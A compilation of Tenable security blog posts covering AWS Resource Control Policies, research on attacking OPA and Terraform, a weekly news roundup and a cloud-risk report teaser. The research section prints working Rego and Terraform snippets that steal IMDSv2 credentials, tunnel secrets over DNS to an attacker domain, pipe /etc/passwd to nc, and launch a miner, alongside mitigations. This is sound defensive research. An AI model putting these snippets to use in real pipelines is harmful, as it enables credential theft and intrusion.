AWS has released an important new feature that allows you to apply permission boundaries around resources at scale called Resource Control Policies (RCPs). Read on to learn what RCPs are all about and how to use them, as well as how Tenable Cloud Security already factors them into its analysis.

AWS just launched Resource Control Policies (RCPs), a new feature in AWS Organizations that lets you restrict the permissions granted to resources. 

If you are familiar with service control policies (or SCPs), you may have an idea of what an RCP can do and what it’s good for. 

We thought “unboxing” RCPs would be beneficial both for those of you seasoned in using guardrails as well as for novices. So after taking this shiny new feature out for a spin, here’s what we have to say about it. 

What are RCPs? 

Before we can explain RCPs, we need to cover the concept of guardrails and “data perimeters.” Where AWS really shines in its IAM features is in the multiple mechanisms it provides for managing entitlements to resources in AWS accounts. As practitioners who have been pioneers in helping organizations achieve least privilege and manage access in the most effective way possible, we at Tenable Cloud Security have a lot of appreciation for these features.

Access guardrails are a significant component of the arsenal of tools AWS provides its customers to properly control access to resources. They are robust and highly configurable controls that can be placed on accounts, resources and/or identities to limit the potential sum of permissions they can be assigned. Access-guardrail functions act as a boundary, so even when someone tries to assign unauthorized permissions to an entity – whether the attempt is accidental or malicious -- the access won’t be granted. 

A guardrail could be, for example, a “permission boundary” placed on a specific principal, such as an IAM role or IAM user, to limit the potential permissions the principal can have. Or it can be, for example, a resource-based policy applied to a specific resource to limit the principals that can access the resource, the access conditions, the actions that can be performed, and so on. If you wanted to impose such a boundary at scale to all identities in an account or even in several accounts, you could do it using an SCP applied from AWS Organizations. 

SCPs are known as very effective boundaries, although they don’t solve the issue of resource-based policies that grant access to principals from external accounts (more on that later). 

This kind of boundary may also be known as a “data perimeter.” Several such boundary types exist. We’re going to touch on just a few so if you’re interested in getting more details, we recommend reading this article by AWS which reviews the different ways to create these data perimeters.

Simply put, the newly introduced RCPs are a boundary applied to all resources (of the supported resource types) in an account or accounts. As you can use an SCP to apply a boundary at scale to all principals in an account, instead of to each principal separately using a permission boundary, you can use an RCP to apply a boundary to all resources of an account, instead of to each resource separately using its resource-based policy.

From AWS Organizations, you can create and apply RCPs similarly to how you would an SCP; you can find RCPs under “Policies” in AWS Organizations: 

Location of RCPs under “Policies” in AWS Organizations 

The management interface of RCPs has the same “look and feel” as that of SCPs: 

Console management of RCPs, exactly the same as for SCPs 

If you listen closely you may be able to hear slide decks about AWS IAM changing around the world, as the widely known policy evaluation logic diagram for AWS access has now been changed to include the RCP: 

The new AWS policy evaluation logic diagram, now including RCPs (Source: AWS Documentation)  Why are RCPs important? 

As mentioned earlier, SCPs have a well-known limitation: while very effective as a boundary, SCPs ironically don’t solve the issue of resource-based policies that grant access to principals from external accounts. That is, if the resource-based policy applied to a resource grants direct access to a principal from a different account, the SCP will not limit that access. This isn’t intuitive to understand, so many people may not realize this. 

Granted, the best practice is to provide such access with an IAM role to be assumed by the principal in the external account, and that IAM role will in turn be granted the permissions required by that principal. However, best practices are often not implemented. Access granted by a resource-based policy is an issue security professionals can’t ignore. 

So, RCPs allow you to apply such a boundary at scale, which is great. Until now, doing so was not an option. An added bonus: Having a separate instrument for applying this boundary to resources may improve practitioner awareness that SCPs are a boundary for identities in the account and do not limit external access - that’s the job of the resource oriented control, RCP. 

But it’s important to also remember that these boundaries are not just around permissions. You can also use RCPs to enforce conditions on access to resources, which we will detail in the next section. 

One last thing: When exploring RCPs, don’t stop using SCPs. They’re highly effective as a boundary and serve their intended purpose: applying a boundary for what identities in the account can perform in the account and outside of it -- meaning on other accounts as well. An RCP doesn’t do this. In short, SCPs and RCPs have different use cases, so keep that in mind. 

Usage 

So how do we use this boundary goodness? Let’s look at a few examples, and at several important points about RCPs. 

Creating data perimeter for a resource 

As mentioned, when it comes to scale, RCPs take the creation of a “perimeter” around resources to the next level. 

The good news is that all global condition keys, as well as the condition keys of the services that RCPs support, are available in RCPs. This is pretty cool as it allows you to really hit the ground running with RCPs. 

For example, if we use attribute-based access control (ABAC) to manage access to a resource, we can limit all access to principals labeled “Dev” to sensitive S3 resources based on their name pattern using an RCP, which will look like this: 

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": "arn:aws:s3:::testing-rcp-pattern-sensitive-bucket-*", "Condition": { "StringEquals": { "aws:PrincipalTag/Department": "Dev" } } } ] }

Unfortunately, “NotAction” is not supported. It would have been great to be able to deny any other action besides very specific ones which would be allowed as exempt. Hopefully, it will be supported some day. 

In addition to setting the boundary for principals, you can also enforce that access has to be done from specific VPCs or IPs, as such: 

{ "Version": "2012-10-17", "Statement": [ { "Sid": "Statement1", "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource":"*", "Condition": { "NotIpAddress": { "aws:SourceIp": "<IP_ADDRESS>" } } } ] }Enforce action-related policy 

In addition to enforcing access to be done – or not be done – by certain principals or from certain locations, you can also use RCPs to enforce how the access will be granted. RCP functions as a kind of policy as code. 

For example, you can enforce that access to S3 buckets will only be done over TLS, as such: 

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": "*", "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] }

Or, you can enforce the default SSE server-side encryption on items uploaded to S3 buckets, like this: 

{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Principal": "*", "Action": "s3:PutObject", "Resource": "*", "Condition": { "StringNotEquals": { "s3:x-amz-server-side-encryption": "AES256" } } } ] }

Pretty cool, isn’t it? 

Don't cause denial-of-service 

Be mindful to avoid creating your own denial of service (DoS) on your infrastructure by denying legitimate access by mission-critical services, employees or customers. When controls are used incorrectly, this can happen. 

Here’s an obvious tip: Always test in lower environments (development, testing, staging) every control you’ll apply to production. 

That said, keep these things in mind to ease RCPs’ safe adoption : 

• The “NotResource” element is supported. You can use it to exclude resources to which the RCPs won’t apply. 
• The “NotPrincipal” element is not supported. You must specify “*” as the “Principal.” This isn’t problematic because you can apply the appropriate logic around principals by using condition keys such as “aws:PrincipalArn” and “aws:PrincipalAccount”. 
• Third-party services that perform various business functions such as security (like Tenable Cloud Security), DevOps and FinOps on your cloud environment might be blocked by RCPs.You may have to exclude them from those RCPs if you want them to operate properly. 
• Finally, since AWS service principals may also be restricted by RCPs, you should use appropriate condition keys (such as aws:PrincipalIsAWSService and aws:PrincipalServiceName) to exclude the relevant ones, as you would in a resource-based policy. (We’ve written about this issue in another blog post). 

Services supported 

It’s key to keep in mind that RCPs only support a handful of services:

• Amazon S3
• AWS Security Token Service (STS)
• Amazon SQS
• AWS KMS 
• AWS Secrets Manager

This is a good start, of course, because SQS, S3 and Secrets Manager usually host sensitive and mission-critical resources, while STS is crucial for creating a boundary around assuming IAM roles. As mentioned, limiting IAM role assumption is important for preventing external identities from gaining access to resources within an account. 

And of course, KMS is a sensitive service. Protecting KMS keys with a boundary, for example, for setting the key policy is an amazing use case for RCPs. 

Quotas 

Similarly to SCPs, there’s a quota for five RCPs per Organizational Unit (OU). You can apply five of each. 

Also, similarly to SCPs, there’s a 5,120 character limit per policy, and you can create and store up to 1,000 RCPs in an organization.

Factoring it in to your cloud security 

Tenable Cloud Security is a pioneer in the domain of cloud infrastructure entitlements management (CIEM), and we consider it an invaluable component of our cloud native application protection platform (CNAPP) solution. 

Being precise in what identities have access to is crucial to understanding the security risk that identities pose and are exposed to. 

For this reason, and as a close partner of AWS, we’ve already integrated the new RCP logic to our analysis of the permissions granted to identities. 

For example, below you see an IAM user granted access to many buckets in an external account by, most likely, a mistaken resource-based policy applied at scale. Here’s how it looks without an RCP applied:

IAM user with overprivileged access to multiple buckets – far more access than to the specific bucket needed – without an RCP in place

And here is how it looks with the RCP applied: The RCP limits access to the buckets based on their name pattern: 

With RCP in place, an IAM user who had overprivileged access to multiple buckets, now has access to just one specific bucket, which is still overprivileged, but due to the kind of actions available.

Spot the difference? 

The second finding factors in the RCP and only alerts about excessive permissions granted on the specific bucket, where some actions are needed. This becomes clearer as we see the recommendation for a least-privilege policy generated by Tenable Cloud Security showing exactly which actions the identity requires with regard to this resource: 

Least privilege policy recommendation based on actual activity performed by the identity 

You can now focus on reducing this specific overpermissiveness not controlled by the RCP. 

Conclusion 

First of all, kudos to AWS for delivering on this feature. 

There are many potential benefits from using RCPs to apply resource-based boundaries at scale. 

While there’s plenty of room for RCPs to grow to support more features and services, we believe organizations should start to employ this control as part of their IAM strategy right away. 

Simplify AWS cloud security with protection for hybrid and multi-cloud and visit us at AWS re:Invent in Las Vegas next month at booth #520!

 

Check out our deep dive into both new and known techniques for abusing infrastructure-as-code and policy-as-code tools. You’ll also learn how to defend against them in this blog post which expands on the attack techniques presented at our fwd:cloudsec Europe 2024 talk “Who Watches the Watchmen? Stealing Credentials from Policy-as-Code Engines (and beyond).”

Infrastructure-as-code (IaC) is the backbone of DevOps for modern cloud applications. Policy engines and policy-as-code languages have emerged as key tools to govern IaC deployments, due to their sensitivity and complexity. They are also a common tool for authorization in cloud-native applications and admission control in Kubernetes.

In this blog post, we will explore both known and newly uncovered attack techniques in domain-specific languages (DSLs) of popular policy-as-code (PaC) and infrastructure-as-code (IaC) platforms - specifically in the open source Open Policy Agent (OPA) and in HashiCorp’s Terraform. Since these are hardened languages with limited capabilities, they’re supposed to be more secure than standard programming languages – and indeed they are. However, more secure does not mean bulletproof. We'll explore specific techniques we discovered which adversaries can use to manipulate these DSLs through third-party code, leading to compromised cloud identities, lateral movement and data exfiltration.

Attack techniques deep diveOpen Policy Agent (OPA)

OPA is a widely used policy engine. You can use it for various use cases, from microservice authorization to infrastructure policies. Basically, OPA can analyze and make policy decisions based on any data of JavaScript Object Notation (JSON) form. It shifts the policy decision-making away from the target application, allowing it to query OPA and focus solely on enforcing the decisions OPA makes based on the provided input and policies. Policies in OPA are written using Rego, a dedicated high-level, declarative policy language, or DSL, if you will. We will soon see that Rego has some interesting built-in functions that, when in the wrong hands, can be used to do some pretty evil things.

Attack scenario

Our research focused on the supply-chain attack vector in OPA, and more specifically, when an attacker gains access to the supply chain of OPA’s policies. Attackers can leverage this vector to insert a malicious Rego policy that will be executed during policy evaluation, to achieve malicious objectives like credentials exfiltration.

 

 

In this scenario, OPA regularly fetches policies from a storage bucket, with a web application relying on OPA for authorization. All is well until an attacker gains access through a compromised access key, needing only write access to the policy bucket. The attacker uploads a malicious policy, which OPA retrieves during its next local update. When the web application sends an authorization request, OPA performs the policy evaluation and executes the malicious Rego code, potentially leading to dangerous outcomes, such as leaking sensitive data to an attacker-controlled server.

Exfiltrating source code and environment variables

We could only find a single blog post exploring malicious abuse of Rego. In his blog post, software engineer Liam Galvin showcased built-in OPA functions that attackers could abuse: opa.runtime().env for accessing environment variables and http.send for exfiltrating them. Additionally, the input keyword can be used to exfiltrate HCL code sent to OPA.

Taking it further

The opa.runtime and http.send functions got some bad attention in 2022, when a researcher discovered a vulnerability bypassing the WithUnsafeBuiltins function, which can be used to block certain built-in functions and fail policies that use them. These two functions were cited as examples of functions that organizations might want to block. If an organization has some awareness about the security of OPA (and the possibility of blocking these functions’ use without breaking their use-case), it would probably block them through OPA’s Capabilities feature. This got us thinking:

• Is it possible to fetch cloud credentials without using the opa.runtime function?
• Is it possible to leak data outside of the environment without using the http.send function?

Extracting credentials from IMDSv2

Using the OPA runtime function we can fetch environment variables, including potential cloud credentials. This sparked our curiosity: If its usage is blocked on the OPA server side, can we still extract cloud credentials somehow?

 

 

We then decided to try fetching credentials from the AWS Instance Metadata Service (IMDS), considering OPA might run on a cloud instance with an attached role. We used the bash commands from AWS documentation as a reference, and crafted the Rego code to interact with IMDSv2, which is the default in new environments and less straightforward to work with. This enabled us to retrieve instance role credentials and leak them to our external server using a single built-in function: http.send. It took several iterations. As anyone who has worked with Rego knows, it loves to keep you guessing with non-indicative errors. Finally, this is what our code looked like:

package extract_creds default token_ttl_seconds = "21600" req1 := {"url": "http://169.254.169.254/latest/api/token", "method": "put", "headers": {"X-aws-ec2-metadata-token-ttl-seconds": token_ttl_seconds}} resp1 := http.send(req1) req2 := {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "method": "get", "headers": { "X-aws-ec2-metadata-token": resp1["raw_body"]}} resp2 := http.send(req2) url_val := concat("/", ["http://169.254.169.254/latest/meta-data/iam/security-credentials", resp2["raw_body"]]) req3 := {"url": url_val, "method": "get", "headers": { "X-aws-ec2-metadata-token": resp1["raw_body"]}} resp3 := http.send(req3) req4 := {"url": "http://<attacker_server>/", "method": "put", "headers": { "X-aws-ec2-metadata-token": resp3["raw_body"]}} resp4 := http.send(req4)Attack demo

 

It’s important to note that allowing policies, especially when sourcing them from third-parties, to interact with other internal servers and services is highly discouraged and exposes the environment to significant risks like credential theft. We need to remember that IMDSv2 does not make your instance role credentials bulletproof. They are still reachable when achieving code execution on the machine. At the end of this blog post, we will reference some effective mitigations to defend against such attacks.

DNS tunneling

That’s all well and good if we can run the http.send function within policies. But what happens if an OPA deployment restricts its use? We wanted to see whether it was possible to achieve data exfiltration by other means. We dove into OPA’s documentation again, and the Net category’s net.lookup_ip_addr function looked particularly interesting: it actively looks up a host, and returns its IP address. So we thought: What if we look up a domain under the attacker’s control and monitor the DNS requests?

We set up a server to capture the DNS requests and ran a simple policy using the net.lookup_ip_addr function. Sure enough, we could see a request coming to our server. What about trying to embed sensitive data as a subdomain of our malicious domain (aka DNS tunneling)? We concatenated an access key that was hard-coded in the input Terraform configuration passed to OPA, as a subdomain of our domain, and passed the new domain string to the net.lookup_ip_addr function. We then ran the Rego policy.

package dns_tunneling parent_domain := "<attacker_domain>" # Form the domain tunneling string and perform the lookup result = domain_str { provider_list := input.provider.aws provider_list != [] provider := provider_list[0] access_key := provider.access_key secret_key := provider.secret_key domain_arr := [access_key, secret_key, parent_domain] domain_str := concat(".", domain_arr) addr := net.lookup_ip_addr(domain_str) }

And, voilà! The request, with the access key embedded in it, arrived at our listener.

Left side: Server listening for DNS Requests. Right Side: Victim OPA server running the malicious policy.

So, the net.lookup_ip_addr function is another function you might consider restricting or at least looking out for in policies, since it also introduces the risk of data exfiltration from your OPA deployment.

Up until this point, we've talked about techniques in OPA, which is a policy engine. We were curious about Terraform, since it also uses a declarative language, and wanted to see if it might be affected by similar techniques.

Terraform

Terraform has long been a highly adopted IaC tool due to its declarative, platform-agnostic nature, community support and shareable components. Configurations in Terraform are also written using a dedicated high-level, declarative DSL - HashiCorp Configuration Language (HCL). Terraform has two kinds of third-party components that can be shared through the Terraform Registry or other (public or private) registries: Modules and Providers. These are commonly used for efficiency, and even for enhanced security when used right. However, if used carelessly, they can introduce a serious supply chain risk.

Terraform CI/CD risk

Using HashiCorp’s “Setup Terraform” Github Action, many organizations configure every pull request to trigger the format, init, validate and plan phases of Terraform. Moreover, HashiCorp’s documentation presents the option to test pull requests using Terraform plan. It seems logical that the Plan phase triggers on every PR in a Terraform code repository to identify necessary changes before applying them. Or does it?

Screenshot taken from the README of HashiCorp’s Github action - https://github.com/has›hicorp/setup-terraform

It appears that the Plan phase is not as innocent as one might think. While resources are not deployed during this stage, data sources, which are another kind of block in Terraform that allows fetching external data to be used throughout the configuration, execute at this stage.

To recap, in many CI/CD pipelines today, terraform plan runs as part of a pull_request trigger. This means that any developer that can open a pull request (usually any developer in open-source projects, or any developer in the organization in private repositories) can trigger code execution on the Github runner without any code review, assuming they are able to update Terraform files. This poses a risk, as an external attacker in a public repository or a malicious insider (or an external attacker with a foothold) in a private repository could exploit a pull request for their malicious objectives.

Example of malicious techniques for abusing data sources

As we just learned, data sources run during terraform plan, which significantly lowers the entry point for attackers, making it possible, in some repositories, to execute unreviewed changes during CI/CD.

(Note: To use a data source in a Terraform configuration, you need to import the provider that implements it.)

External data source

Using the external data source, you can run custom code on the machine running Terraform. According to HashiCorp, the external data source serves as an “escape hatch” for exceptional situations. Its abuse was also explored in Alex Kaskaso’s blog, demonstrating how you can run code during the Terraform Plan phase by writing custom Terraform providers, or by using the external data source from the existing external provider.

To achieve code execution on the host, you simply need to import the external provider and insert an external data block in your configuration, referencing a local script file:

data "external" "example" { program = ["python", "${path.module}/exfil_env_results.py"] }HTTP data source

Using the HTTP data source, you can fetch necessary data for your configuration - but it also opens the door for malicious exfiltration. As xssfox demonstrated, a malicious Terraform module can easily leak secrets to an attacker-controlled domain.

The HTTP data source may also be effective for fetching credentials from the IMDS. However, I couldn’t extract creds from IMDSv2 since it requires the HTTP PUT method, which HCL doesn’t permit - only GET, HEAD, and POST are allowed.

data "http" "supersecurerequest" { url = "https://<attacker_server>/${aws_secretsmanager_secret_version.secret_api_key.secret_string}" }DNS data source

As we previously discussed, we discovered a DNS tunneling technique in OPA, allowing us to stealthily leak sensitive data. This got us thinking: Why not try DNS tunneling in Terraform, too?

We looked into HashiCorp’s documentation, and found HashiCorp’s official DNS provider. Similarly to Rego’s net.lookup_ip_addr, its data sources allow you to perform DNS lookups. Once again, we tried embedding a secret as a subdomain of our malicious domain. We then listened for DNS requests, and ran terraform plan with the hopes of catching the secret on our external server.

data "dns_a_record_set" "superlegitdomain" { host = "${aws_secretsmanager_secret_version.password.secret_string}.<attacker_domain>" }

And, boom! The request, including the embedded secret string, was caught by our listener:

 

To recap, here’s the flow of events: 

• terraform plan triggers on a pull request 
• The unreviewed code includes a malicious data source
• Before the DevOps engineer can say 'supercalifragilisticexpialidocious,' the sensitive data is already off to the attacker’s server

Example of malicious techniques for abusing provisioners

HashiCorp states the provisioners are a last resort, saying that they allow you to ״model specific actions on the local machine or on a remote machine in order to prepare servers or other infrastructure objects for service״. Or, in simple words, you can run custom code on the machine running Terraform or on the newly provisioned infrastructure.

“Local-exec” provisioner

The local-exec provisioner “invokes a local executable after a resource is created” according to HashiCorp. It runs the supplied command on the machine running Terraform, basically allowing any Bash command execution. For example, you could leak the contents of /etc/passwd to an attacker-controlled server:

provisioner "local-exec" {  command = "cat /etc/passwd | nc <attacker_server> 1337"  }“Remote-exec” provisioner

The remote-exec provisioner “invokes a script on a remote resource after it is created” according to HashiCorp. It allows you to run custom code on newly provisioned infrastructure. For example, you could run a coin miner on a newly created EC2 machine:

provisioner "remote-exec" { script = "./xmrig/xmrig.sh" }Other notable Terraform research

• Security engineers Mike Ruth and Francisco Oca demonstrated multiple attack scenarios against Terraform Enterprise (TFE) and Terraform Cloud (TFC) and also released a tool that can stealthily run terraform apply during terraform plan.
• Some interesting attack primitives were discovered by Daniel Grzelak from Plerion, who demonstrated how you can delete resources or run malicious code through a custom provider, with the only access required for the attack being write access to the state file, which is often stored in S3.

Mitigations and best practices

• Implement a granular role-based access control (RBAC) and follow the principle of least privilege. This should be applied to the local user running the IaC or PaC framework, the users that can access it via API, and the associated cloud roles. Separate roles may be used for the Terraform Plan and Apply stages, to prevent unreviewed modifications of IaC resulting in cloud infrastructure changes.
• Only use third-party components from trusted sources: modules and providers in Terraform, and policies in OPA (These are some examples for components that, when used from third parties, should be sourced cautiously). Verify their integrity to ensure no unauthorized changes were made prior to their execution.
• Set up application-level and cloud-level logging for monitoring and analysis.
• Limit the network and data access of the applications and the underlying machines. To prevent communication with other internal servers through OPA policies, as discussed in the attack techniques section, you may use OPA’s capabilities.json file to restrict outbound network connections (using the allow_net field to restrict the hosts that can be contacted by the http.send and net.lookup_ip_addr functions).
• Scan before you plan! Prevent automatic execution of unreviewed and potentially malicious code in your CI/CD pipeline by placing your scanner before the terraform plan stage.*

*According to our testing, most common scanners fail to detect most of the risks we’ve discussed. Currently, in order to detect code execution and exfiltration techniques in IaC and PaC, you need to create custom policies according to your organization’s needs and your environment’s baseline. For more details, watch the recording of our talk “Who Watches the Watchmen? Stealing Credentials from Policy-as-Code Engines (and beyond)" at the fwd:cloudsec Europe 2024 conference. You can find the slides here. 

How Tenable Cloud Security can help

Shifting cloud security left helps you improve security and compliance before runtime. Tenable offers IaC scanning as part of Tenable Cloud Security, our comprehensive cloud native application protection platform (CNAPP). Tenable Cloud Security enables organizations to scan and detect misconfigurations and other risks in their IaC configurations to harden cloud infrastructure environments as part of the CI/CD pipeline and take action on cloud exposures. 

To get more information, check out our “Shift Left on Cloud Infrastructure Security” solution overview and go to our page “Shift-left with IaC security.”

Check out the CVEs attackers targeted the most last year, along with mitigation tips. Plus, a new guide says AI system audits must go beyond check-box compliance. Meanwhile, a report foresees stronger AI use by defenders and hackers in 2025. And get the latest on cloud security, SMBs' MFA use and the CIS Benchmarks.

Dive into six things that are top of mind for the week ending Nov. 15.

1 - Report ranks 2023’s most frequently exploited vulnerabilities

Wondering what were attackers’ preferred vulnerabilities last year? Cyber agencies from the Five Eyes countries have ranked these go-to bugs in a joint advisory titled “2023 Top Routinely Exploited Vulnerabilities.”

Published this week, the advisory details the 47 Common Vulnerabilities and Exposures (CVEs) that attackers most often exploited in 2023, along with their associated Common Weakness Enumerations (CWEs).

The advisory also offers prevention and mitigation recommendations both to end-user organizations, and to software vendors and developers.

A key takeaway: the majority of the CVEs listed were initially exploited as zero-days, unlike in 2022, when fewer than half were. In addition, the report found that attackers typically strike gold with vulnerabilities that are less than two years old.

Here are some of the recommendations from the authoring cyber agencies in Australia, Canada, New Zealand, the U.K. and the U.S. for end-user organizations:

• Update software, including operating systems, applications and firmware, and prioritize patching CVEs included in CISA’s Known Exploited Vulnerabilities (KEV) catalog, especially those listed in the report. 
• Maintain a continuously updated inventory of all your assets – both hardware and software, and on-prem and in the cloud. 
• Deploy an automated, centralized patch-management system and adopt a patch-management process.
• Document the secure baseline configurations for all IT/OT systems.
• Require phishing-resistant multi-factor authentication for all users and on all VPN connections.
• Adopt the principle of least privilege when configuring access control.
• Secure internet-facing devices.
• Monitor your attack surface continuously.
• Contractually require your software vendors to provide you with software bills of materials (SBOMs) for their products, and inquire whether they employ secure-by-design principles.

The five CVEs atop the list are:

• CVE-2023-3519
• CVE-2023-4966
• CVE-2023-20198
• CVE-2023-20273
• CVE-2023-27997

To get all the details, read the full advisory “2023 Top Routinely Exploited Vulnerabilities.”

For more information about vulnerability management, check out these Tenable resources:

• “From Bugs to Breaches: 25 Significant CVEs As MITRE CVE Turns 25” (blog)
• “Turning Data into Action: Intelligence-Driven Vulnerability Management” (blog)
• “Context Is King: From Vulnerability Management to Exposure Management” (blog)
• “Secure Your Sprawling Attack Surface With Risk-based Vulnerability Management” (blog)
• “Mitigating AI-Related Security Risks: Insights and Strategies with Tenable AI Aware” (on-demand webinar)

2 - CSA: AI systems require holistic audits

When it comes to auditing artificial intelligence (AI) systems, auditors need to go beyond basic regulatory compliance requirements, and instead aim to assess their trustworthiness in a holistic, comprehensive manner.

That’s the main message in the Cloud Security Alliance’s new report “Artificial Intelligence (AI) Risk Management: Thinking Beyond Regulatory Boundaries,” which was published this week and offers a risk-based framework for auditing AI systems throughout their lifecycle.

While it’s critical for AI audits to be accurate, “trust in AI can only be achieved through a far-reaching approach to auditing that goes beyond what’s required,” researcher Ryan Gifford, a leader in the CSA’s AI Governance & Compliance Working Group, said in a statement.

The paper addresses a wide range of AI audit elements, including AI governance; the role of data and sensors; applicable laws, regulations and standards; data and privacy; algorithms, training methods and models; and security systems – to name just a few.

The 101-page document also includes hundreds of suggested questions to include in an AI audit, covering 25 topics. 

For example, the paper suggests 19 questions to ask about AI security systems, organized into seven sub-categories, including authentication and access control; data sanitization; encryption and key management; and security monitoring.

These are just a few of the questions in the AI security systems section:

• How are security vulnerabilities actively identified and mitigated in software and hardware components? Through regular updates and patching?
• How is security data from multiple sources integrated and analyzed to provide a centralized platform for threat detection, incident response, and comprehensive security monitoring?
• How is the legitimacy of people and system accounts requesting access confirmed?
• Which authentication methods are used to ensure that only authorized entities gain access?

For more information about AI system audits:

• “Auditing AI: The emerging battlefield of transparency and assessment” (Thomson Reuters)
• “AI transparency: What is it and why do we need it?” (TechTarget)
• “US agency calls for audits of AI systems to ensure accountability” (Roll Call)
• “Navigating the AI Audit: A Comprehensive Guide to Best Practices” (Law.com)
• “Trust but verify: Digging into audits for AI algorithm bias” (TechTarget)

3 - Google: Attackers will deepen AI use in 2025

Expect the AI cyberwars to get nastier and more sophisticated next year.

In 2025, hackers will double down on their use of AI to boost their cyberattacks, while security teams will further leverage AI security tools to improve their cyberdefenses.

That’s one of the main takeaways from Google Cloud’s “Cybersecurity Forecast 2025” report, released this week.

“While AI is rapidly bringing new tools for threat detection and response, it also provides malicious actors with powerful capabilities for social engineering, disinformation, and other attacks,” reads the report.
 

Here are some ways in which Google Cloud expects cyberattackers to more aggressively employ generative AI tools, LLMs, deepfakes and other AI technologies in 2025:

• To further scale and enhance social engineering attacks, including phishing and vishing
• To supercharge cybercrime and cyberespionage 
• To research vulnerabilities they can exploit
• To streamline and accelerate development of malicious code
• To rapidly create content for disinformation campaigns

“As AI capabilities become more widely available throughout 2025, enterprises will increasingly struggle to defend themselves against these more frequent and effective compromises,” the report reads.

By the same token, cybersecurity teams will move into what the report calls “a second phase” of AI use. During the first phase, defenders used AI tools for repetitive tasks, such as summarizing reports and querying data sets. In 2025, cybersecurity teams will extend their AI use towards “semi-autonomous” security operations.

“This includes being able to parse through alerts - even with false positives - to create a list of the highest priority items, enabling security teams to further triage and remediate the risks that matter most,” the report reads.

However, the output of these AI security operations will still need to be verified by a security professional.

The report also looks at how trends like geopolitical cyberthreats, ransomware and infostealer malware are likely to develop in 2025.

For more information about cloud security trends:

• “Who’s Afraid of a Toxic Cloud Trilogy?” (Tenable)
• “Top Ten Cloud Security Mitigation Strategies” (U.S. National Security Agency)
• “What is cloud security management? A strategic guide” (TechTarget)
• “How to choose, configure and use cloud services securely” (U.K. National Cyber Security Centre)
• “How To Protect Your Cloud Environments and Prevent Data Breaches” (Tenable)

4 - Tenable poll looks at cloud security practices

During our recent webinar “Empower Your 2025 Cloud Security Planning with Tenable's Data Insights,” we informally polled attendees about cloud security issues, such as workloads afflicted by the “toxic trilogy” of cloud risks. Check out the results!

(51 webinar attendees polled by Tenable, November 2024)

(39 webinar attendees polled by Tenable, November 2024)

Check out this on-demand webinar for a discussion of the valuable insights in the new “Tenable Cloud Risk Report 2024,” including concrete recommendations for improving your organization’s cloud security.

5 - Report: MFA widely underused, misunderstood by SMBs

A majority of small and medium-sized businesses (SMBs) surveyed about multi-factor authentication (MFA) haven’t adopted this identity and access management (IAM) technology and ignore its security benefits.

That’s a key finding from a report based on a global survey of almost 2,300 SMBs conducted by the Cyber Readiness Institute (CRI) and published this week.

“MFA is no longer a luxury or optional security measure - it is a fundamental necessity in today’s digital landscape. The time for SMBs to act is now,” the report reads.

Specifically, 65% of SMBs polled said they haven’t implemented MFA, and most of them (61%) have no plans to adopt MFA in the foreseeable future.

Barriers to adoption include: 

• the cost to acquire and deploy MFA tools
• lack of technical expertise to choose the right product
• lack of awareness about MFA's benefits

A bright spot for MFA adoption is the U.S., where SMBs buck the global trend, with 89% of respondents saying they’ve adopted the technology, and 55% saying they’re “very aware” of MFA and its benefits.

The following best describes the level of awareness you have of MFA and the related security benefits at your company

So what can be done to promote MFA adoption among SMBs? Here are some recommendations from the report:

• Government agencies, industry groups, non-profit organizations and cybersecurity vendors should collaborate on campaigns to educate SMBs about the benefits of MFA.
• Software vendors should include MFA capabilities as part of broader software packages at no additional cost. 
• Governments should offer incentives to SMBs, such as tax breaks and subsidies, while larger businesses should reward their SMB partners that adopt MFA.
• Vendors, government agencies and industry groups should offer SMBs technical assistance after they adopt MFA to ensure their continued success with the technology.

To get more details, read: 

• The CRI report “Unlocking MFA Adoption: Why Small and Medium-Sized Businesses Must Act Now to Strengthen Their Cybersecurity”
• The report’s announcement “New Study Underscores Slow Adoption of Multifactor Authentication By Global SMBs”

6 - CIS Benchmarks for Apple, Azure, Oracle get updated

The Center for Internet Security (CIS) just announced the latest updates to its CIS Benchmarks, including the ones for Azure Kubernetes Service (AKS), Oracle Cloud Infrastructure for Kubernetes (OKE) and several versions of Apple's macOS.

Specifically, these CIS Benchmarks were updated in October:

• CIS Amazon Web Services Foundations Benchmark v4.0.0
• CIS Apple macOS 13.0 Ventura Benchmark v3.0.0
• CIS Apple macOS 14.0 Sonoma Benchmark v2.0.0
• CIS Apple macOS 13.0 Ventura Cloud-tailored Benchmark v1.1.0
• CIS Azure Kubernetes Service (AKS) Benchmark v1.6.0
• CIS MongoDB 6 Benchmark v1.2.0
• CIS MongoDB 7 Benchmark v1.1.0
• CIS Oracle Cloud Infrastructure for Kubernetes (OKE) Benchmark v1.6.0
• CIS SUSE Linux Enterprise 12 Benchmark v3.2.0

In addition, these three new CIS Benchmarks were released:

• CIS Apple iOS 18 Benchmark v1.0.0
• CIS Apple iPadOS 18 Benchmark v1.0.0
• CIS Apple macOS 15.0 Sequoia Benchmark v1.0.0

 

 

The CIS Benchmarks’ secure-configuration guidelines are designed to help security teams harden software against attacks. There are currently more than 100 Benchmarks for 25-plus vendor product families. There are CIS Benchmarks for cloud platforms; databases; desktop and server software; mobile devices; operating systems; and more.

To get more details, read the CIS blog “CIS Benchmarks November 2024 Update.” For more information about the CIS Benchmarks list, check out its home page, as well as:

• “Getting to Know the CIS Benchmarks” (CIS)
• “Security Via Consensus: Developing the CIS Benchmarks” (Dark Reading)
• “How to Unlock the Security Benefits of the CIS Benchmarks” (Tenable)
• “CIS Benchmarks Communities: Where configurations meet consensus” (Help Net Security)
• “CIS Benchmarks: DevOps Guide to Hardening the Cloud” (DevOps)

The Tenable Cloud Risk Report 2024 reveals that nearly four in 10 organizations have workloads that are publicly exposed, contain a critical vulnerability and have excessive permissions. Here’s what to watch for in your organization.

In a “GPS mapping” of today’s most pressing cloud security issues, the Tenable Cloud Risk Report 2024 from Tenable Cloud Research revealed serious flaws across workloads, identities, containers, storage and Kubernetes.

Particularly concerning was the discovery that nearly four in 10 organizations (38%) have an elevated level of exposure from workloads bearing an especially risky blend of security gaps. We called this blend a “toxic cloud trilogy,” defined as any cloud workload having these three risk factors:

• A critical vulnerability
• Excessive permissions
• Public exposure

